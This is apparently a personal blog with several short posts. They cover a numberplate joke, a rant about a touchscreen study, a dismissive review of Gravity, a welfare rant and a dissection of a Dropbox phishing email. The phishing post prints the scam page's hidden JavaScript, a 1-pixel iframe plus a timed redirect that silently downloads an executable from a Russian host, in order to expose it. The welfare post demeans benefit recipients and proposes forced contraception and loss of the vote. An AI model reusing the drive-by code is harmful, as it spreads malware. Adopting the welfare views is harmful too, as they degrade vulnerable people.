Not so much Breaking Bad as Breaking Naughty

Numberplate of the week

Have a look at this character:

Hmm, HOTMXV, eh?  Presumably couldn't get HOTMX5 but was too wedded to the idea to give it up entirely, despite being too slow.

Of course, if V is Roman for 5, that would actually make the plate say HOT1015, which is perhaps not what he actually intended?

If he actually had any originality he would have made it HOTLXIX, but you can only expect so much from someone who is driving an MX5, I suppose.

Your junk non-science of the morning

http://www.news.com.au/technology/gadgets/finnish-technology-company-optofidelity-reveals-why-your-iphone-touchscreen-is-so-inaccurate/story-fn6vihic-1226749368956

ZOMG!!!  A study has revealed the vital finding that smartphones can’t automagically detect which key you meant to hit *if you don’t actually hit the fucking thing accurately!!*

Holy shit, and here I have been for years expecting to just mash my palm randomly on the keyboard and get the precise outcome I wanted, despite only making a random and non-specific indication of my intentions!

Anyone would think I was in management or something.

Gravity sucks.

Went to see Gravity last night.

One of the shorter movies I have seen (91 minutes apparently), and not a bad thing either, because it cut out at least half an hour's opportunity for the producers and director to make ONE OF THE MOST BORING FILMS I HAVE EVER SEEN.

I mean, far out... there was about 20 minutes of interesting stuff at the start, then 5 minutes in the middle and another 10 at the end.  The rest of it was Sandra and George doing relationship counselling rubbish while floating against a backdrop of stars, woo.

Seriously, give this one a miss.  Not impressed.  Go and see White House Down for a good flick.

Stand up, Australia - YOU CAN BE PROUD.

What else could you possibly want as a tourism tag line??

Put me in charge

Put me in charge of Australia's handout welfare system.  I’d get rid of cash payments for starters, and replace them with a debit card system that only allows you to buy certain items.  It would allow you to buy fresh meat, vegetables, milk, bread, salads etc.  Buying E91 or ethanol fuel would be OK, premium will not be.  And you won't own a car that needs it – trust me.  It would not allow you to buy frozen pizza, KFC, chips, chocolate, tobacco or alcohol.  If you want to buy those, then get a job and pay for them yourself.

 

Put me in charge of Medicare. The first thing I’d do is to get women Norplant birth control implants or tubal ligations.  I'd test recipients for drugs, alcohol, and nicotine - if you are found with these in your system, your payments are suspended.  I'd document all tattoos and piercings, if you are found with more than you had last time you've obviously got more of our cash than you need.  If you want to reproduce or use drugs, alcohol, smoke or get tattoos and piercings, then get a job and pay for it out of your own pocket.

 

Put me in charge of subsidised housing. Ever live in a military barracks?  You will maintain our property in a clean and good state of repair.  "Your" (read: our) house will be subject to inspections anytime, and possessions will be inventoried.  If you want a plasma TV or Xbox 360, then get a job and your own place on your own dollar.  Are you seeing a pattern yet?

 

Don't even think about letting drugs or alcohol be found in your subsidised housing.  If so, you're cut off for a year.  If found a second time, you're cut off for two years.  After that, I lose my normally cheerful disposition and it really starts to hurt.

 

You will either present a payslip from a job every time you want to collect a welfare handout or you will report to a government job. It may be cleaning the roads and parks of rubbish, painting and repairing public housing, but trust me - we'll find something.  I will also sell your 22 inch rims and low profile tyres and your car stereo system and put that money toward the welfare of someone who actually needs it.

 

Before you think that I’m violating your "rights", realize that all of the above is voluntary!  It's just that if you want our money, accept our rules.  Before you say that this is "demeaning" and lowers your "self esteem", consider that it wasn’t that long ago that taking someone else’s money for doing absolutely nothing was considered demeaning and lowered self esteem.

 

If we are expected to pay for other people’s mistakes we should at least attempt to make them learn from their bad choices. The current system rewards them for continuing to make bad choices and just perpetuates the cycle of welfare entitlement.

 

Oh yeah, one last thing - while receiving a handout you no longer can vote.  Voting is a privilege reserved for people who contribute to society and therefore earn a say in how it is structured, governed and run.  If you want to vote, then get a job.

Saturday morning scammers and scumbags

Now here’s a subtle little scam.

Got an e-mail allegedly from Dropbox asking me to “update my password as I hadn’t logged in for a while.”  Remarkably for once I actually do use that service, but there’s a systray app that logs in automatically on boot, so red flag #1.

Unremarkably, the nice, friendly login button in the e-mail points to a compromised webserver, nothing special there.  What *was* interesting though was the peripheral approach taken to try to suck people in.  These pricks are really getting very subtle at this sort of thing.

Instead of the usual fake-landing-page-designed-to-look-real, I got a very realistic redirection delay, got to love the code snippet that does it:

window.onload = function() {                  // It's "cool" to let user wait 2 more seconds :/             }

You then get a nice, friendly page warning you of a security vulnerability with your PC - what helpful people!

Every single internet user in the world is constantly bombarded with security warning, dire threats of armageddon to their data and PC, and is probably quite used to doing these sorts of updates as a knee-jerk reaction, right?

(The weakness here is that Chrome updates itself automatically, and who in their right mind would want to run IE on Linux??).  But then again this sort of scam isn't intended to catch people who know what they are doing anyway...

Of course, while the graphics themselves are simply hotlinked directly off http://updatebrowser.net, they point to a dodgy Russian webserver, and all of them to the same file http://dynamooblog.ru:8080/ieupdate[URL breaker].exe.

What's *really* fun is this little snippet of code hidden at the end of the page:

if(OSName=="Windows") {

ifrm = document.createElement("IFRAME");

   ifrm.setAttribute("src", "http://dynamooblog.ru:8080/dropbox/check[\URL breaker].php");

   ifrm.style.width = 1+"px";

   ifrm.style.height = 1+"px";

   document.body.appendChild(ifrm);

setTimeout(function() {

   document.getElementById('container').style.display = 'block';

   setTimeout(function() {

window.location = 'http://dynamooblog.ru:8080/ieupdate[URL breaker].exe';

   },50000);

  

                }, 5000);

}

That little gem automatically initiates the download of the file to a Windows system anyway after 50 seconds... no interaction required from the user, only leaving the browser open long enough.  I only caught it because FDM caught the download initiation.

Now imagine what would have happened if the file auto-ran on completion of download...